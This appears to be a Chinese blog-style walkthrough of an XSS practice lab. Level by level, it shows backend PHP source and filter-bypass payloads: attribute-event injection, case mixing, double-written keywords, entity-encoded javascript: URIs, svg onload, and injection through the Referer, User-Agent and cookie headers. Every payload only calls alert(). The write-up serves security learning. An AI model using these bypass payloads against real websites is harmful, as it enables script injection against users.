一个XSS靶场练习记录

https://blog.csdn.net/qq_41500251/article/details/101116697


001.level 1 反射型

1、观察源码

<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>

修改?name=<script>alert()</script>即可

002.level 2

1、测试输入

输入123

输出

全部输出

输入特殊字符

'<>?\"/6666

查看页面源码

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219194808.png?1609079862970

实体化了< > "

2、尝试构造payload

原:<input name=keyword value="123">

payload:" onclick=alert("xss")>

成功弹窗

疑问:为什么我使用了过滤的字符,依旧可以执行呢?

查看后台源码

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>

可以发现,没有找到和".htmlspecialchars($str)."相关的结果,使用了过滤,而<input name=keyword value="'.$str.'">并没有过滤,即,该题是伪过滤,

总结找到鼠标单击的区域的方:

$\color{red}{右键打开firebug查看元素}$

003.level 3

1、测试输入

输入123

查看页面源码

<input name=keyword value='123'>

输入特殊字符

'<>?\:"/6666

查看页面源码

<input name=keyword value=''&lt;&gt;?\:&quot;/6666'>

对< > "过滤

2、尝试构造payload

'onclick=alert(0) '

再点击搜索框即可

004.level 4

1、测试输入

输入123

查看页面源码

<input name=keyword value="123">

易知需要”闭合

输入特殊字符

'<>?\:"/6666

查看页面源码

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219213502.png?1609079862997

过滤了< >

2、构造payload

" onclick=alert(0)

通过

3、查看后端源码

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

005.level 5

1、测试输入

输入123

查看页面源码

易知需要 ” 闭合

输入特殊字符

'<>?\:"/6666

没有进行过滤

2、构造payload

<script>alert(1)</script>

没有弹窗,查看页面源码

<input name=keyword value="" <scr_ipt>alert(1)</script> ">

发现script中间插入 _

使用其他方法绕过

" onclick=alert(0)

查看页面源码

<input name=keyword value="" o_nclick=alert(0) ">

发现on中间插入 _

使用其他方法绕过

> <a href='javascript:alert(0)'>111</a>

006.level 6

1、测试输入

输入123456

查看页面源码

易知需要 ” 闭合

输入特殊字符

'<>?\:"/6666

没有进行过滤

页面源码

<h2 align=center>没有找到和123456相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="123456">

2、构造payload

" > <script>alert(1)</script>

页面显示

<form action=level6.php method=GET>
<input name=keyword value="" > <scr_ipt>alert(1)</script> ">

可知关键字script被过滤了

尝试绕过

" > <ScRipt>alert(1)</sCript>

成功

007.level 7

1、测试输入

输入123456

查看页面源码

易知需要 ” 闭合

输入特殊字符

'<>?\:"/6666

没有进行过滤

输入关键字

script on src data href

页面源码

<form action=level7.php method=GET>
<input name=keyword value=" ">

全部替换成空

尝试大小写绕过

sCripT On sRc dAta Href

同样全部替换成空

2、构造payload

" > <scrscriptipt>alert(1)</sscriptcript>

成功

008.level 8

1、测试输入

输入123456

查看页面源码

</center><center><BR><a href="123456">友情链接</a></center><center>

易知需要 ” 闭合

输入特殊字符

'<>?\:"/6666

查看页面源码

</center><center><BR><a href="'<>?\:&quot/6666">友情链接</a></center><center>

过滤了 "

输入关键字 并大小写

script sCripT on On src sRc data dAta href Href

全部过滤了

</center><center><BR><a href="scr_ipt o_n sscr_ipt scr_ipt o_n o_n sr_c sr_c da_ta da_ta hr_ef hr_efrc da_ta hr_ef">友情链接</a></center><center>

尝试双写绕过

scrscriptipt oonn ssrcrc ddataata hhrefref

全部过滤了

</center><center><BR><a href="scrscr_iptipt oo_nn ssr_crc dda_taata hhr_efref">友情链接</a></center><center><img src=level8.jpg></center>

尝试使用HTML实体编码绕过

javascript:alert(1)

成功弹窗

另外一种解法

对一下进行HTML编码

>友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>

>友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>

失败,不知为什么。。

009.level 9

1、测试输入

输入123456

查看页面源码

</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

进行过滤了

输入特殊字符

'<>?\:"/6666

查看页面源码

</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

进行过滤了

不太对劲,查看后台源码

if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

会检查是否存在http://

2、构造payload

javascript:alert("http:// ")

发现对script进行过滤

javascript:alert("http:// ")

成功

010.level 10

1、测试输入

输入123456

查看页面源码

<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和123456!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>

查看后台源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

发现后台获取两个参数,且t_sort可以利用,并且过滤了< >字符

2、构造payload

?t_sort=0" onclick=alert(1) type="text"

011.level 11

1、猜测同上一题

查看后台源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可知,后台从http请求头获得了referer参数

2、构造payload

" onmouseover=alert(11) type="text"

012.level 12

1、查看源码

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从HTTP_USER_AGENT获得参数值

2、构造payload

" onmouseover=alert(0) type=""

013.level 13

1、查看源码

<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从cookie中获得user参数的值

2、构造payload

" onmouseover=alert(0) type=""

014.level 14

查看教程

这关是利用修改exif信息,在exif信息中写入xss代码,然后上传上去,别人点击这个图片就会中招。

暂时跳过

015.level 15

1、查看源码

<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include指令用于包含外部的 HTML 文件。即'.htmlspecialchars($str).'

2、构造payload

?src='./level1.php'

失败,暂时跳过

016.level 16

1、刷新,抓包,

<center>test</center><center><img src=level16.png></center>

没办法,只好看后台源码

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

先小写,过滤script,空格,/

2、构造payload

?keyword=<svg%0aonload=alert(0) ></svg>

?keyword=<svg%0onmouseover=alert(0) ></svg>

017.level 17

1、观察url,测试输入

?arg01=123&arg02=456

页面源码

<embed src=xsf01.swf?123=456 width=100% heigth=100%>

输入特殊字符

?arg01='<>?\:"/6666&arg02='<>?\:"/6666

页面源码

<embed src=xsf01.swf?'&lt;&gt;?\:&quot;/6666='&lt;&gt;?\:&quot;/6666 width=100% heigth=100%>

易知过滤了< > "

输入关键字

?arg01=script sCripT on On src sRc data dAta href Href&arg02=456

页面源码

<embed src=xsf01.swf?script sCripT on On src sRc data dAta href Href=456 width=100% heigth=100%>

2、构造payload

?arg01=123&arg02=456 onclick=alert(0)

成功

018.level 18

解题过程同上

019.level 19

1、观察url,测试输入

?arg01=123&arg02=456

页面源码

<embed src="xsf03.swf?123=456" width=100% heigth=100%>

2、查资料,这个是flash xss,涉及到反编译,

解题连接

https://www.jianshu.com/p/4e3a517bc4ea

后台源码

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

3、详细过程

使用硕思闪客精灵

将xsf03.swf导出为HTML5文件

大致内容如下

<!DOCTYPE HTML>
<html> <head>
<style>*{margin:0;padding:0;}</style>
<meta charset="utf-8" />
<title></title>
</head> <body style="overflow:hidden;"> <script>var data ={"Bg":"#FFFFFF","FV":"8","Fc":"1","Fh":"100","Fr":30.0,"Fw":"300","Ft":{"xi":0,"xm":300,"yi":0,"ym":100}....}
</script>
<script src="sprite.js"></script> </body>
</html>

并没有找到有用的信息

跳过

020.level 20

跳过

xss靶场详解的更多相关文章

  1. Flash XSS 漏洞详解 根治的好办法

    本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案.   首先,我们看看什么情况下,会出现XSS.   第一种情况:        把flas ...

  2. 网络攻击-XSS攻击详解

    特别提示:本人博客部分有参考网络其他博客,但均是本人亲手编写过并验证通过.如发现博客有错误,请及时提出以免误导其他人,谢谢!欢迎转载,但记得标明文章出处:http://www.cnblogs.com/ ...

  3. StringEscapeUtils防止xss攻击详解

    StringUtils和StringEscapeUtils这两个实用类. 1.转义防止xss攻击 1.转义可以分为下面的几种情况 第一用户输入特殊字符的时候,在提及的时候不做任何处理保持到数据库,当用 ...

  4. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  5. 第六天实验详解——dedecms通过xss漏洞写马

    第六天实验详解 **XSS跨站攻击的分类** XSS漏洞类型主要分为持久型和非持久型两种: 1. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 2. 持久型X ...

  6. web框架详解之 tornado 四 模板引擎、session、验证码、xss

    一.模板引擎 基本使用 继承,extends 页面整体布局用继承 导入,include 如果是小组件等重复的那么就用导入 下面是目录 首先在controllers里面创建一个文件,文件里面是页面类 # ...

  7. XSS与CSRF详解

    XSS与CSRF详解 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起 ...

  8. 程序员必备:详解XSS和CSRF

    做开发的小伙伴想必都不陌生XSS 和 CSRF,但也有一些刚接触的朋友还不是很清楚,今天就给大家详解下XSS和CSRF! 一.XSS xss,即 Cross Site Script,中翻译是跨站脚本攻 ...

  9. XSS(跨站脚本攻击)详解

    跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web ...

随机推荐

  1. 使用freetype来显示中文汉字和英文字符

    这里我们用到了freetype.进入官网http://savannah.nongnu.org/download/freetype/ 中下载最新的版本2.7的源代码和文件.freetype-2.7.ta ...

  2. 解决npm ERR!

    一:[Unexpected end of JSON input while parsing near]报错 最近的vue项目中在执行 npm install 时会报错误: npm ERR! Unexp ...

  3. Centos7 keepalived 修改日志路径

    Keepalived默认所有的日志都是写入到/var/log/message下的,由于message的日志太多了,而Keepalived的日志又很难分离出来,所以本文提供了一个调整Keepalived ...

  4. transmission protocol

    传输层主要定义了主机应用程序间端到端的连通性,它一般包含四项基本功能 . 将应用层发往网络层的数据分段或将网络层发往应用层的数据段合并 建立端到端的链接,主要是建立逻辑连接以传送数据流 将数据段从一台 ...

  5. 【基础】1001_Hello,World!

    题目相关 [题目描述] 编写一个能够输出"Hello,World!"的程序,这个程序常常作为一个初学者接触一门新的编程语言所写的第一个程序,也经常用来测试开发.编译环境是否能够正常 ...

  6. Java 使用线程池执行若干任务

    在执行一系列带有IO操作(例如下载文件),且互不相关的异步任务时,采用多线程可以很极大的提高运行效率.线程池包含了一系列的线程,并且可以管理这些线程.例如:创建线程,销毁线程等.本文将介绍如何使用Ja ...

  7. SpringBoot2.+restful风格请求方式设置以及表单中日期格式设置

    ​ 1).SpringBoot在自动配置很多组件的时候,先看容器中有没有用户自己配置的(@Bean.@Component)如果有就用用户配置的,如果没有,才自动配置:如果有些组件可以有多个(ViewR ...

  8. (十三)利用BASE_DIR来import模板

    实际工程的组织架构一般是这样的: bin包下的bin.py是实际的执行文件,my_mould包下的是业务逻辑的实现模板 bin.py需要import my_mould下的py文件,而bin和my_mo ...

  9. 【Linux】系统打开文件最大数量限制(进程打开的最大文件句柄数设置)

    利用ulimit命令可以对资源的可用性进行控制. -H选项和-S选项分别表示对给定资源的硬限制(hard limit)和软限制(soft limit)进行设置. 硬限制(hard limit)一旦被设 ...

  10. P2986 [USACO10MAR]伟大的奶牛聚集(思维,dp)

    题目描述 Bessie is planning the annual Great Cow Gathering for cows all across the country and, of cours ...